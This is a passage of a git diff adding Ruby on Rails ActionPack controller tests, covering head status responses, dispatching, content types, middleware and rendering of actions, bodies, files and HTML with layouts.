+      assert controller.request
+    end
+  end
+
+  class BareEmptyController < ActionController::Metal
+    def index
+      self.response_body = nil
+    end
+  end
+
+  class BareEmptyTest < ActiveSupport::TestCase
+    test "response body is nil" do
+      controller = BareEmptyController.new
+      controller.set_request!(ActionDispatch::Request.empty)
+      controller.set_response!(BareController.make_response!(controller.request))
+      controller.index
+      assert_nil controller.response_body
+    end
+  end
+
+  class HeadController < ActionController::Metal
+    include ActionController::Head
+
+    def index
+      head :not_found
+    end
+
+    def continue
+      self.content_type = "text/html"
+      head 100
+    end
+
+    def switching_protocols
+      self.content_type = "text/html"
+      head 101
+    end
+
+    def processing
+      self.content_type = "text/html"
+      head 102
+    end
+
+    def no_content
+      self.content_type = "text/html"
+      head 204
+    end
+
+    def reset_content
+      self.content_type = "text/html"
+      head 205
+    end
+
+    def not_modified
+      self.content_type = "text/html"
+      head 304
+    end
+  end
+
+  class HeadTest < ActiveSupport::TestCase
+    test "head works on its own" do
+      status = HeadController.action(:index).call(Rack::MockRequest.env_for("/")).first
+      assert_equal 404, status
+    end
+
+    test "head :continue (100) does not return a content-type header" do
+      headers = HeadController.action(:continue).call(Rack::MockRequest.env_for("/")).second
+      assert_nil headers["Content-Type"]
+      assert_nil headers["Content-Length"]
+    end
+
+    test "head :switching_protocols (101) does not return a content-type header" do
+      headers = HeadController.action(:switching_protocols).call(Rack::MockRequest.env_for("/")).second
+      assert_nil headers["Content-Type"]
+      assert_nil headers["Content-Length"]
+    end
+
+    test "head :processing (102) does not return a content-type header" do
+      headers = HeadController.action(:processing).call(Rack::MockRequest.env_for("/")).second
+      assert_nil headers["Content-Type"]
+      assert_nil headers["Content-Length"]
+    end
+
+    test "head :no_content (204) does not return a content-type header" do
+      headers = HeadController.action(:no_content).call(Rack::MockRequest.env_for("/")).second
+      assert_nil headers["Content-Type"]
+      assert_nil headers["Content-Length"]
+    end
+
+    test "head :reset_content (205) does not return a content-type header" do
+      headers = HeadController.action(:reset_content).call(Rack::MockRequest.env_for("/")).second
+      assert_nil headers["Content-Type"]
+      assert_nil headers["Content-Length"]
+    end
+
+    test "head :not_modified (304) does not return a content-type header" do
+      headers = HeadController.action(:not_modified).call(Rack::MockRequest.env_for("/")).second
+      assert_nil headers["Content-Type"]
+      assert_nil headers["Content-Length"]
+    end
+
+    test "head :no_content (204) does not return any content" do
+      content = body(HeadController.action(:no_content).call(Rack::MockRequest.env_for("/")))
+      assert_empty content
+    end
+
+    test "head :reset_content (205) does not return any content" do
+      content = body(HeadController.action(:reset_content).call(Rack::MockRequest.env_for("/")))
+      assert_empty content
+    end
+
+    test "head :not_modified (304) does not return any content" do
+      content = body(HeadController.action(:not_modified).call(Rack::MockRequest.env_for("/")))
+      assert_empty content
+    end
+
+    test "head :continue (100) does not return any content" do
+      content = body(HeadController.action(:continue).call(Rack::MockRequest.env_for("/")))
+      assert_empty content
+    end
+
+    test "head :switching_protocols (101) does not return any content" do
+      content = body(HeadController.action(:switching_protocols).call(Rack::MockRequest.env_for("/")))
+      assert_empty content
+    end
+
+    test "head :processing (102) does not return any content" do
+      content = body(HeadController.action(:processing).call(Rack::MockRequest.env_for("/")))
+      assert_empty content
+    end
+
+    def body(rack_response)
+      buf = []
+      rack_response[2].each { |x| buf << x }
+      buf.join
+    end
+  end
+
+  class BareControllerTest < ActionController::TestCase
+    test "GET index" do
+      get :index
+      assert_equal "Hello world", @response.body
+    end
+  end
+end
diff --git a/actionpack/test/controller/new_base/base_test.rb b/actionpack/test/controller/new_base/base_test.rb
new file mode 100644
index 0000000000..d9f200b2a7
--- /dev/null
+++ b/actionpack/test/controller/new_base/base_test.rb
@@ -0,0 +1,134 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+# Tests the controller dispatching happy path
+module Dispatching
+  class SimpleController < ActionController::Base
+    before_action :authenticate
+
+    def index
+      render body: "success"
+    end
+
+    def modify_response_body
+      self.response_body = "success"
+    end
+
+    def modify_response_body_twice
+      ret = (self.response_body = "success")
+      self.response_body = "#{ret}!"
+    end
+
+    def modify_response_headers
+    end
+
+    def show_actions
+      render body: "actions: #{action_methods.to_a.sort.join(', ')}"
+    end
+
+    private
+      def authenticate
+      end
+  end
+
+  class EmptyController < ActionController::Base ; end
+  class SubEmptyController < EmptyController ; end
+  class NonDefaultPathController < ActionController::Base
+    def self.controller_path; "i_am_not_default"; end
+  end
+
+  module Submodule
+    class ContainedEmptyController < ActionController::Base ; end
+    class ContainedSubEmptyController < ContainedEmptyController ; end
+    class ContainedNonDefaultPathController < ActionController::Base
+      def self.controller_path; "i_am_extremely_not_default"; end
+    end
+  end
+
+  class BaseTest < Rack::TestCase
+    # :api: plugin
+    test "simple dispatching" do
+      get "/dispatching/simple/index"
+
+      assert_body "success"
+      assert_status 200
+      assert_content_type "text/plain; charset=utf-8"
+    end
+
+    # :api: plugin
+    test "directly modifying response body" do
+      get "/dispatching/simple/modify_response_body"
+
+      assert_body "success"
+    end
+
+    # :api: plugin
+    test "directly modifying response body twice" do
+      get "/dispatching/simple/modify_response_body_twice"
+
+      assert_body "success!"
+    end
+
+    test "controller path" do
+      assert_equal "dispatching/empty", EmptyController.controller_path
+      assert_equal EmptyController.controller_path, EmptyController.new.controller_path
+    end
+
+    test "non-default controller path" do
+      assert_equal "i_am_not_default", NonDefaultPathController.controller_path
+      assert_equal NonDefaultPathController.controller_path, NonDefaultPathController.new.controller_path
+    end
+
+    test "sub controller path" do
+      assert_equal "dispatching/sub_empty", SubEmptyController.controller_path
+      assert_equal SubEmptyController.controller_path, SubEmptyController.new.controller_path
+    end
+
+    test "namespaced controller path" do
+      assert_equal "dispatching/submodule/contained_empty", Submodule::ContainedEmptyController.controller_path
+      assert_equal Submodule::ContainedEmptyController.controller_path, Submodule::ContainedEmptyController.new.controller_path
+    end
+
+    test "namespaced non-default controller path" do
+      assert_equal "i_am_extremely_not_default", Submodule::ContainedNonDefaultPathController.controller_path
+      assert_equal Submodule::ContainedNonDefaultPathController.controller_path, Submodule::ContainedNonDefaultPathController.new.controller_path
+    end
+
+    test "namespaced sub controller path" do
+      assert_equal "dispatching/submodule/contained_sub_empty", Submodule::ContainedSubEmptyController.controller_path
+      assert_equal Submodule::ContainedSubEmptyController.controller_path, Submodule::ContainedSubEmptyController.new.controller_path
+    end
+
+    test "controller name" do
+      assert_equal "empty", EmptyController.controller_name
+      assert_equal "contained_empty", Submodule::ContainedEmptyController.controller_name
+    end
+
+    test "non-default path controller name" do
+      assert_equal "non_default_path", NonDefaultPathController.controller_name
+      assert_equal "contained_non_default_path", Submodule::ContainedNonDefaultPathController.controller_name
+    end
+
+    test "sub controller name" do
+      assert_equal "sub_empty", SubEmptyController.controller_name
+      assert_equal "contained_sub_empty", Submodule::ContainedSubEmptyController.controller_name
+    end
+
+    test "action methods" do
+      assert_equal Set.new(%w(
+        index
+        modify_response_headers
+        modify_response_body_twice
+        modify_response_body
+        show_actions
+      )), SimpleController.action_methods
+
+      assert_equal Set.new, EmptyController.action_methods
+      assert_equal Set.new, Submodule::ContainedEmptyController.action_methods
+
+      get "/dispatching/simple/show_actions"
+      assert_body "actions: index, modify_response_body, modify_response_body_twice, modify_response_headers, show_actions"
+    end
+  end
+end
diff --git a/actionpack/test/controller/new_base/content_negotiation_test.rb b/actionpack/test/controller/new_base/content_negotiation_test.rb
new file mode 100644
index 0000000000..7205e90176
--- /dev/null
+++ b/actionpack/test/controller/new_base/content_negotiation_test.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ContentNegotiation
+  # This has no layout and it works
+  class BasicController < ActionController::Base
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "content_negotiation/basic/hello.html.erb" => "Hello world <%= request.formats.first.to_s %>!"
+    )]
+
+    def all
+      render plain: formats.inspect
+    end
+  end
+
+  class TestContentNegotiation < Rack::TestCase
+    test "A */* Accept header will return HTML" do
+      get "/content_negotiation/basic/hello", headers: { "HTTP_ACCEPT" => "*/*" }
+      assert_body "Hello world */*!"
+    end
+
+    test "Not all mimes are converted to symbol" do
+      get "/content_negotiation/basic/all", headers: { "HTTP_ACCEPT" => "text/plain, mime/another" }
+      assert_body '[:text, "mime/another"]'
+    end
+  end
+end
diff --git a/actionpack/test/controller/new_base/content_type_test.rb b/actionpack/test/controller/new_base/content_type_test.rb
new file mode 100644
index 0000000000..d3ee4a8a6f
--- /dev/null
+++ b/actionpack/test/controller/new_base/content_type_test.rb
@@ -0,0 +1,116 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ContentType
+  class BaseController < ActionController::Base
+    def index
+      render body: "Hello world!"
+    end
+
+    def set_on_response_obj
+      response.content_type = Mime[:rss]
+      render body: "Hello world!"
+    end
+
+    def set_on_render
+      render body: "Hello world!", content_type: Mime[:rss]
+    end
+  end
+
+  class ImpliedController < ActionController::Base
+    # Template's mime type is used if no content_type is specified
+
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "content_type/implied/i_am_html_erb.html.erb"         => "Hello world!",
+      "content_type/implied/i_am_xml_erb.xml.erb"           => "<xml>Hello world!</xml>",
+      "content_type/implied/i_am_html_builder.html.builder" => "xml.p 'Hello'",
+      "content_type/implied/i_am_xml_builder.xml.builder"   => "xml.awesome 'Hello'"
+    )]
+  end
+
+  class CharsetController < ActionController::Base
+    def set_on_response_obj
+      response.charset = "utf-16"
+      render body: "Hello world!"
+    end
+
+    def set_as_nil_on_response_obj
+      response.charset = nil
+      render body: "Hello world!"
+    end
+  end
+
+  class ExplicitContentTypeTest < Rack::TestCase
+    test "default response is text/plain and UTF8" do
+      with_routing do |set|
+        set.draw do
+          ActiveSupport::Deprecation.silence do
+            get ":controller", action: "index"
+          end
+        end
+
+        get "/content_type/base"
+
+        assert_body "Hello world!"
+        assert_header "Content-Type", "text/plain; charset=utf-8"
+      end
+    end
+
+    test "setting the content type of the response directly on the response object" do
+      get "/content_type/base/set_on_response_obj"
+
+      assert_body "Hello world!"
+      assert_header "Content-Type", "application/rss+xml; charset=utf-8"
+    end
+
+    test "setting the content type of the response as an option to render" do
+      get "/content_type/base/set_on_render"
+
+      assert_body "Hello world!"
+      assert_header "Content-Type", "application/rss+xml; charset=utf-8"
+    end
+  end
+
+  class ImpliedContentTypeTest < Rack::TestCase
+    test "sets Content-Type as text/html when rendering *.html.erb" do
+      get "/content_type/implied/i_am_html_erb"
+
+      assert_header "Content-Type", "text/html; charset=utf-8"
+    end
+
+    test "sets Content-Type as application/xml when rendering *.xml.erb" do
+      get "/content_type/implied/i_am_xml_erb", params: { "format" => "xml" }
+
+      assert_header "Content-Type", "application/xml; charset=utf-8"
+    end
+
+    test "sets Content-Type as text/html when rendering *.html.builder" do
+      get "/content_type/implied/i_am_html_builder"
+
+      assert_header "Content-Type", "text/html; charset=utf-8"
+    end
+
+    test "sets Content-Type as application/xml when rendering *.xml.builder" do
+      get "/content_type/implied/i_am_xml_builder", params: { "format" => "xml" }
+
+      assert_header "Content-Type", "application/xml; charset=utf-8"
+    end
+  end
+
+  class ExplicitCharsetTest < Rack::TestCase
+    test "setting the charset of the response directly on the response object" do
+      get "/content_type/charset/set_on_response_obj"
+
+      assert_body   "Hello world!"
+      assert_header "Content-Type", "text/plain; charset=utf-16"
+    end
+
+    test "setting the charset of the response as nil directly on the response object" do
+      get "/content_type/charset/set_as_nil_on_response_obj"
+
+      assert_body   "Hello world!"
+      assert_header "Content-Type", "text/plain; charset=utf-8"
+    end
+  end
+end
diff --git a/actionpack/test/controller/new_base/middleware_test.rb b/actionpack/test/controller/new_base/middleware_test.rb
new file mode 100644
index 0000000000..df69650a7b
--- /dev/null
+++ b/actionpack/test/controller/new_base/middleware_test.rb
@@ -0,0 +1,112 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module MiddlewareTest
+  class MyMiddleware
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      result = @app.call(env)
+      result[1]["Middleware-Test"] = "Success"
+      result[1]["Middleware-Order"] = "First"
+      result
+    end
+  end
+
+  class ExclaimerMiddleware
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      result = @app.call(env)
+      result[1]["Middleware-Order"] += "!"
+      result
+    end
+  end
+
+  class BlockMiddleware
+    attr_accessor :configurable_message
+    def initialize(app, &block)
+      @app = app
+      yield(self) if block_given?
+    end
+
+    def call(env)
+      result = @app.call(env)
+      result[1]["Configurable-Message"] = configurable_message
+      result
+    end
+  end
+
+  class MyController < ActionController::Metal
+    use BlockMiddleware do |config|
+      config.configurable_message = "Configured by block."
+    end
+    use MyMiddleware
+    middleware.insert_before MyMiddleware, ExclaimerMiddleware
+
+    def index
+      self.response_body = "Hello World"
+    end
+  end
+
+  class InheritedController < MyController
+  end
+
+  class ActionsController < ActionController::Metal
+    use MyMiddleware, only: :show
+    middleware.insert_before MyMiddleware, ExclaimerMiddleware, except: :index
+
+    def index
+      self.response_body = "index"
+    end
+
+    def show
+      self.response_body = "show"
+    end
+  end
+
+  class TestMiddleware < ActiveSupport::TestCase
+    def setup
+      @app = MyController.action(:index)
+    end
+
+    test "middleware that is 'use'd is called as part of the Rack application" do
+      result = @app.call(env_for("/"))
+      assert_equal ["Hello World"], [].tap { |a| result[2].each { |x| a << x } }
+      assert_equal "Success", result[1]["Middleware-Test"]
+    end
+
+    test "the middleware stack is exposed as 'middleware' in the controller" do
+      result = @app.call(env_for("/"))
+      assert_equal "First!", result[1]["Middleware-Order"]
+    end
+
+    test "middleware stack accepts block arguments" do
+      result = @app.call(env_for("/"))
+      assert_equal "Configured by block.", result[1]["Configurable-Message"]
+    end
+
+    test "middleware stack accepts only and except as options" do
+      result = ActionsController.action(:show).call(env_for("/"))
+      assert_equal "First!", result[1]["Middleware-Order"]
+
+      result = ActionsController.action(:index).call(env_for("/"))
+      assert_nil result[1]["Middleware-Order"]
+    end
+
+    def env_for(url)
+      Rack::MockRequest.env_for(url)
+    end
+  end
+
+  class TestInheritedMiddleware < TestMiddleware
+    def setup
+      @app = InheritedController.action(:index)
+    end
+  end
+end
diff --git a/actionpack/test/controller/new_base/render_action_test.rb b/actionpack/test/controller/new_base/render_action_test.rb
new file mode 100644
index 0000000000..33b55dc5a8
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_action_test.rb
@@ -0,0 +1,314 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module RenderAction
+  # This has no layout and it works
+  class BasicController < ActionController::Base
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "render_action/basic/hello_world.html.erb" => "Hello world!"
+    )]
+
+    def hello_world
+      render action: "hello_world"
+    end
+
+    def hello_world_as_string
+      render "hello_world"
+    end
+
+    def hello_world_as_string_with_options
+      render "hello_world", status: 404
+    end
+
+    def hello_world_as_symbol
+      render :hello_world
+    end
+
+    def hello_world_with_symbol
+      render action: :hello_world
+    end
+
+    def hello_world_with_layout
+      render action: "hello_world", layout: true
+    end
+
+    def hello_world_with_layout_false
+      render action: "hello_world", layout: false
+    end
+
+    def hello_world_with_layout_nil
+      render action: "hello_world", layout: nil
+    end
+
+    def hello_world_with_custom_layout
+      render action: "hello_world", layout: "greetings"
+    end
+  end
+
+  class RenderActionTest < Rack::TestCase
+    test "rendering an action using :action => <String>" do
+      get "/render_action/basic/hello_world"
+
+      assert_body "Hello world!"
+      assert_status 200
+    end
+
+    test "rendering an action using '<action>'" do
+      get "/render_action/basic/hello_world_as_string"
+
+      assert_body "Hello world!"
+      assert_status 200
+    end
+
+    test "rendering an action using '<action>' and options" do
+      get "/render_action/basic/hello_world_as_string_with_options"
+
+      assert_body "Hello world!"
+      assert_status 404
+    end
+
+    test "rendering an action using :action" do
+      get "/render_action/basic/hello_world_as_symbol"
+
+      assert_body "Hello world!"
+      assert_status 200
+    end
+
+    test "rendering an action using :action => :hello_world" do
+      get "/render_action/basic/hello_world_with_symbol"
+
+      assert_body "Hello world!"
+      assert_status 200
+    end
+  end
+
+  class RenderLayoutTest < Rack::TestCase
+    def setup
+    end
+
+    test "rendering with layout => true" do
+      assert_raise(ArgumentError) do
+        get "/render_action/basic/hello_world_with_layout", headers: { "action_dispatch.show_exceptions" => false }
+      end
+    end
+
+    test "rendering with layout => false" do
+      get "/render_action/basic/hello_world_with_layout_false"
+
+      assert_body "Hello world!"
+      assert_status 200
+    end
+
+    test "rendering with layout => :nil" do
+      get "/render_action/basic/hello_world_with_layout_nil"
+
+      assert_body "Hello world!"
+      assert_status 200
+    end
+
+    test "rendering with layout => 'greetings'" do
+      assert_raise(ActionView::MissingTemplate) do
+        get "/render_action/basic/hello_world_with_custom_layout", headers: { "action_dispatch.show_exceptions" => false }
+      end
+    end
+  end
+end
+
+module RenderActionWithApplicationLayout
+  # # ==== Render actions with layouts ====
+  class BasicController < ::ApplicationController
+    # Set the view path to an application view structure with layouts
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "render_action_with_application_layout/basic/hello_world.html.erb" => "Hello World!",
+      "render_action_with_application_layout/basic/hello.html.builder"   => "xml.p 'Hello'",
+      "layouts/application.html.erb"                                     => "Hi <%= yield %> OK, Bye",
+      "layouts/greetings.html.erb"                                       => "Greetings <%= yield %> Bye",
+      "layouts/builder.html.builder"                                     => "xml.html do\n  xml << yield\nend"
+    )]
+
+    def hello_world
+      render action: "hello_world"
+    end
+
+    def hello_world_with_layout
+      render action: "hello_world", layout: true
+    end
+
+    def hello_world_with_layout_false
+      render action: "hello_world", layout: false
+    end
+
+    def hello_world_with_layout_nil
+      render action: "hello_world", layout: nil
+    end
+
+    def hello_world_with_custom_layout
+      render action: "hello_world", layout: "greetings"
+    end
+
+    def with_builder_and_layout
+      render action: "hello", layout: "builder"
+    end
+  end
+
+  class LayoutTest < Rack::TestCase
+    test "rendering implicit application.html.erb as layout" do
+      get "/render_action_with_application_layout/basic/hello_world"
+
+      assert_body "Hi Hello World! OK, Bye"
+      assert_status 200
+    end
+
+    test "rendering with layout => true" do
+      get "/render_action_with_application_layout/basic/hello_world_with_layout"
+
+      assert_body "Hi Hello World! OK, Bye"
+      assert_status 200
+    end
+
+    test "rendering with layout => false" do
+      get "/render_action_with_application_layout/basic/hello_world_with_layout_false"
+
+      assert_body "Hello World!"
+      assert_status 200
+    end
+
+    test "rendering with layout => :nil" do
+      get "/render_action_with_application_layout/basic/hello_world_with_layout_nil"
+
+      assert_body "Hello World!"
+      assert_status 200
+    end
+
+    test "rendering with layout => 'greetings'" do
+      get "/render_action_with_application_layout/basic/hello_world_with_custom_layout"
+
+      assert_body "Greetings Hello World! Bye"
+      assert_status 200
+    end
+  end
+
+  class TestLayout < Rack::TestCase
+    testing BasicController
+
+    test "builder works with layouts" do
+      get :with_builder_and_layout
+      assert_response "<html>\n<p>Hello</p>\n</html>\n"
+    end
+  end
+end
+
+module RenderActionWithControllerLayout
+  class BasicController < ActionController::Base
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "render_action_with_controller_layout/basic/hello_world.html.erb" => "Hello World!",
+      "layouts/render_action_with_controller_layout/basic.html.erb"     => "With Controller Layout! <%= yield %> Bye"
+    )]
+
+    def hello_world
+      render action: "hello_world"
+    end
+
+    def hello_world_with_layout
+      render action: "hello_world", layout: true
+    end
+
+    def hello_world_with_layout_false
+      render action: "hello_world", layout: false
+    end
+
+    def hello_world_with_layout_nil
+      render action: "hello_world", layout: nil
+    end
+
+    def hello_world_with_custom_layout
+      render action: "hello_world", layout: "greetings"
+    end
+  end
+
+  class ControllerLayoutTest < Rack::TestCase
+    test "render hello_world and implicitly use <controller_path>.html.erb as a layout." do
+      get "/render_action_with_controller_layout/basic/hello_world"
+
+      assert_body "With Controller Layout! Hello World! Bye"
+      assert_status 200
+    end
+
+    test "rendering with layout => true" do
+      get "/render_action_with_controller_layout/basic/hello_world_with_layout"
+
+      assert_body "With Controller Layout! Hello World! Bye"
+      assert_status 200
+    end
+
+    test "rendering with layout => false" do
+      get "/render_action_with_controller_layout/basic/hello_world_with_layout_false"
+
+      assert_body "Hello World!"
+      assert_status 200
+    end
+
+    test "rendering with layout => :nil" do
+      get "/render_action_with_controller_layout/basic/hello_world_with_layout_nil"
+
+      assert_body "Hello World!"
+      assert_status 200
+    end
+  end
+end
+
+module RenderActionWithBothLayouts
+  class BasicController < ActionController::Base
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "render_action_with_both_layouts/basic/hello_world.html.erb"  => "Hello World!",
+      "layouts/application.html.erb"                                => "Oh Hi <%= yield %> Bye",
+      "layouts/render_action_with_both_layouts/basic.html.erb"      => "With Controller Layout! <%= yield %> Bye")]
+
+    def hello_world
+      render action: "hello_world"
+    end
+
+    def hello_world_with_layout
+      render action: "hello_world", layout: true
+    end
+
+    def hello_world_with_layout_false
+      render action: "hello_world", layout: false
+    end
+
+    def hello_world_with_layout_nil
+      render action: "hello_world", layout: nil
+    end
+  end
+
+  class ControllerLayoutTest < Rack::TestCase
+    test "rendering implicitly use <controller_path>.html.erb over application.html.erb as a layout" do
+      get "/render_action_with_both_layouts/basic/hello_world"
+
+      assert_body   "With Controller Layout! Hello World! Bye"
+      assert_status 200
+    end
+
+    test "rendering with layout => true" do
+      get "/render_action_with_both_layouts/basic/hello_world_with_layout"
+
+      assert_body "With Controller Layout! Hello World! Bye"
+      assert_status 200
+    end
+
+    test "rendering with layout => false" do
+      get "/render_action_with_both_layouts/basic/hello_world_with_layout_false"
+
+      assert_body "Hello World!"
+      assert_status 200
+    end
+
+    test "rendering with layout => :nil" do
+      get "/render_action_with_both_layouts/basic/hello_world_with_layout_nil"
+
+      assert_body "Hello World!"
+      assert_status 200
+    end
+  end
+end
diff --git a/actionpack/test/controller/new_base/render_body_test.rb b/actionpack/test/controller/new_base/render_body_test.rb
new file mode 100644
index 0000000000..d0b61f0665
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_body_test.rb
@@ -0,0 +1,172 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module RenderBody
+  class MinimalController < ActionController::Metal
+    include AbstractController::Rendering
+    include ActionController::Rendering
+
+    def index
+      render body: "Hello World!"
+    end
+  end
+
+  class SimpleController < ActionController::Base
+    self.view_paths = [ActionView::FixtureResolver.new]
+
+    def index
+      render body: "hello david"
+    end
+  end
+
+  class WithLayoutController < ::ApplicationController
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "layouts/application.erb" => "<%= yield %>, I'm here!",
+      "layouts/greetings.erb"   => "<%= yield %>, I wish thee well.",
+      "layouts/ivar.erb"        => "<%= yield %>, <%= @ivar %>"
+    )]
+
+    def index
+      render body: "hello david"
+    end
+
+    def custom_code
+      render body: "hello world", status: 404
+    end
+
+    def with_custom_code_as_string
+      render body: "hello world", status: "404 Not Found"
+    end
+
+    def with_nil
+      render body: nil
+    end
+
+    def with_nil_and_status
+      render body: nil, status: 403
+    end
+
+    def with_false
+      render body: false
+    end
+
+    def with_layout_true
+      render body: "hello world", layout: true
+    end
+
+    def with_layout_false
+      render body: "hello world", layout: false
+    end
+
+    def with_layout_nil
+      render body: "hello world", layout: nil
+    end
+
+    def with_custom_layout
+      render body: "hello world", layout: "greetings"
+    end
+
+    def with_custom_content_type
+      response.headers["Content-Type"] = "application/json"
+      render body: '["troll","face"]'
+    end
+
+    def with_ivar_in_layout
+      @ivar = "hello world"
+      render body: "hello world", layout: "ivar"
+    end
+  end
+
+  class RenderBodyTest < Rack::TestCase
+    test "rendering body from a minimal controller" do
+      get "/render_body/minimal/index"
+      assert_body "Hello World!"
+      assert_status 200
+    end
+
+    test "rendering body from an action with default options renders the body with the layout" do
+      with_routing do |set|
+        set.draw { ActiveSupport::Deprecation.silence { get ":controller", action: "index" } }
+
+        get "/render_body/simple"
+        assert_body "hello david"
+        assert_status 200
+      end
+    end
+
+    test "rendering body from an action with default options renders the body without the layout" do
+      with_routing do |set|
+        set.draw { ActiveSupport::Deprecation.silence { get ":controller", action: "index" } }
+
+        get "/render_body/with_layout"
+
+        assert_body "hello david"
+        assert_status 200
+      end
+    end
+
+    test "rendering body, while also providing a custom status code" do
+      get "/render_body/with_layout/custom_code"
+
+      assert_body "hello world"
+      assert_status 404
+    end
+
+    test "rendering body with nil returns an empty body" do
+      get "/render_body/with_layout/with_nil"
+
+      assert_body ""
+      assert_status 200
+    end
+
+    test "Rendering body with nil and custom status code returns an empty body and the status" do
+      get "/render_body/with_layout/with_nil_and_status"
+
+      assert_body ""
+      assert_status 403
+    end
+
+    test "rendering body with false returns the string 'false'" do
+      get "/render_body/with_layout/with_false"
+
+      assert_body "false"
+      assert_status 200
+    end
+
+    test "rendering body with layout: true" do
+      get "/render_body/with_layout/with_layout_true"
+
+      assert_body "hello world, I'm here!"
+      assert_status 200
+    end
+
+    test "rendering body with layout: 'greetings'" do
+      get "/render_body/with_layout/with_custom_layout"
+
+      assert_body "hello world, I wish thee well."
+      assert_status 200
+    end
+
+    test "specified content type should not be removed" do
+      get "/render_body/with_layout/with_custom_content_type"
+
+      assert_equal %w{ troll face }, JSON.parse(response.body)
+      assert_equal "application/json", response.headers["Content-Type"]
+    end
+
+    test "rendering body with layout: false" do
+      get "/render_body/with_layout/with_layout_false"
+
+      assert_body "hello world"
+      assert_status 200
+    end
+
+    test "rendering body with layout: nil" do
+      get "/render_body/with_layout/with_layout_nil"
+
+      assert_body "hello world"
+      assert_status 200
+    end
+  end
+end
diff --git a/actionpack/test/controller/new_base/render_context_test.rb b/actionpack/test/controller/new_base/render_context_test.rb
new file mode 100644
index 0000000000..07fbadae9f
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_context_test.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+# This is testing the decoupling of view renderer and view context
+# by allowing the controller to be used as view context. This is
+# similar to the way sinatra renders templates.
+module RenderContext
+  class BasicController < ActionController::Base
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "render_context/basic/hello_world.html.erb" => "<%= @value %> from <%= self.__controller_method__ %>",
+      "layouts/basic.html.erb" => "?<%= yield %>?"
+    )]
+
+    # 1) Include ActionView::Context to bring the required dependencies
+    include ActionView::Context
+
+    # 2) Call _prepare_context that will do the required initialization
+    before_action :_prepare_context
+
+    def hello_world
+      @value = "Hello"
+      render action: "hello_world", layout: false
+    end
+
+    def with_layout
+      @value = "Hello"
+      render action: "hello_world", layout: "basic"
+    end
+
+    protected def __controller_method__
+      "controller context!"
+    end
+
+    # 3) Set view_context to self
+    private def view_context
+      self
+    end
+  end
+
+  class RenderContextTest < Rack::TestCase
+    test "rendering using the controller as context" do
+      get "/render_context/basic/hello_world"
+      assert_body "Hello from controller context!"
+      assert_status 200
+    end
+
+    test "rendering using the controller as context with layout" do
+      get "/render_context/basic/with_layout"
+      assert_body "?Hello from controller context!?"
+      assert_status 200
+    end
+  end
+end
diff --git a/actionpack/test/controller/new_base/render_file_test.rb b/actionpack/test/controller/new_base/render_file_test.rb
new file mode 100644
index 0000000000..de8af029e0
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_file_test.rb
@@ -0,0 +1,72 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module RenderFile
+  class BasicController < ActionController::Base
+    self.view_paths = __dir__
+
+    def index
+      render file: File.expand_path("../../fixtures/test/hello_world", __dir__)
+    end
+
+    def with_instance_variables
+      @secret = "in the sauce"
+      render file: File.expand_path("../../fixtures/test/render_file_with_ivar", __dir__)
+    end
+
+    def relative_path
+      @secret = "in the sauce"
+      render file: "../../fixtures/test/render_file_with_ivar"
+    end
+
+    def relative_path_with_dot
+      @secret = "in the sauce"
+      render file: "../../fixtures/test/dot.directory/render_file_with_ivar"
+    end
+
+    def pathname
+      @secret = "in the sauce"
+      render file: Pathname.new(__dir__).join(*%w[.. .. fixtures test dot.directory render_file_with_ivar])
+    end
+
+    def with_locals
+      path = File.expand_path("../../fixtures/test/render_file_with_locals", __dir__)
+      render file: path, locals: { secret: "in the sauce" }
+    end
+  end
+
+  class TestBasic < Rack::TestCase
+    testing RenderFile::BasicController
+
+    test "rendering simple template" do
+      get :index
+      assert_response "Hello world!"
+    end
+
+    test "rendering template with ivar" do
+      get :with_instance_variables
+      assert_response "The secret is in the sauce\n"
+    end
+
+    test "rendering a relative path" do
+      get :relative_path
+      assert_response "The secret is in the sauce\n"
+    end
+
+    test "rendering a relative path with dot" do
+      get :relative_path_with_dot
+      assert_response "The secret is in the sauce\n"
+    end
+
+    test "rendering a Pathname" do
+      get :pathname
+      assert_response "The secret is in the sauce\n"
+    end
+
+    test "rendering file with locals" do
+      get :with_locals
+      assert_response "The secret is in the sauce\n"
+    end
+  end
+end
diff --git a/actionpack/test/controller/new_base/render_html_test.rb b/actionpack/test/controller/new_base/render_html_test.rb
new file mode 100644
index 0000000000..4bea2ba2e9
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_html_test.rb
@@ -0,0 +1,192 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module RenderHtml
+  class MinimalController < ActionController::Metal
+    include AbstractController::Rendering
+    include ActionController::Rendering
+
+    def index
+      render html: "Hello World!"
+    end
+  end
+
+  class SimpleController < ActionController::Base
+    self.view_paths = [ActionView::FixtureResolver.new]
+
+    def index
+      render html: "hello david"
+    end
+  end
+
+  class WithLayoutController < ::ApplicationController
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "layouts/application.html.erb" => "<%= yield %>, I'm here!",
+      "layouts/greetings.html.erb"   => "<%= yield %>, I wish thee well.",
+      "layouts/ivar.html.erb"        => "<%= yield %>, <%= @ivar %>"
+    )]
+
+    def index
+      render html: "hello david"
+    end
+
+    def custom_code
+      render html: "hello world", status: 404
+    end
+
+    def with_custom_code_as_string
+      render html: "hello world", status: "404 Not Found"
+    end
+
+    def with_nil
+      render html: nil
+    end
+
+    def with_nil_and_status
